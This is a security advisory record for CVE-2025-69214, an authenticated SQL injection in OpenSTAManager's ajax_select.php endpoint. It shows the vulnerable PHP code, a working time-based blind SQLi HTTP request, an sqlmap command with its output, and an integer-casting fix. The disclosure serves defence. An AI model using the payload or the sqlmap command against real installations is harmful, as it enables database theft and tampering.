{"id":"CVE-2025-69214","aliases":["GHSA-qjv8-63xq-gq8m"],"url":"https://o3.security/vulnerability/CVE-2025-69214","summary":"OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)","details":"## Summary\nA SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/impianti/ajax/select.php:122-124`\n\n```php\ncase 'componenti':\n    $impianti = $superselect['matricola'];\n    if (!empty($impianti)) {\n        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';\n    }\n```\n\n### Data Flow\n1. **Source:** `$_GET['options']['matricola']` → `$superselect['matricola']`\n2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization\n3. **Sink:** Query executed via AJAX framework\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=<valid-session>\n```\n<img width=\"1306\" height=\"581\" alt=\"image\" src=\"https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011\" />\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \\\n  --cookie=\"PHPSESSID=<session>\" \\\n  --dbms=MySQL \\\n  --technique=T \\\n  --level=3 \\\n  --risk=3\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable\nParameter: #1* (URI)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI\nback-end DBMS: MySQL >= 5.0.12\n```\n<img width=\"1228\" height=\"801\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b\" />\n\n## Impact\n- **Data Exfiltration:** Time-based blind SQL Injection allows complete database extraction\n- **Authentication Bypass:** Access to sensitive component and equipment data\n- **Data Manipulation:** Potential unauthorized modification of records\n\n## Remediation\n\nCast values to integers before using in SQL:\n\n**Before:**\n```php\n$impianti = $superselect['matricola'];\nif (!empty($impianti)) {\n    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';\n}\n```\n\n**After:**\n```php\n$impianti = $superselect['matricola'];\nif (!empty($impianti)) {\n    $ids = array_map('intval', explode(',', $impianti));\n    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';\n}\n```\n\n## Credit\nDiscovered by: Łukasz Rybak","published":"2026-02-06T18:11:34.102Z","modified":"2026-08-12T03:51:36.781015739Z","cvss":null,"epss":{"score":0.00431,"percentile":0.36414,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"devcode-it/openstamanager","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69214.json"},{"type":"ADVISORY","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69214"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.781015739Z"}}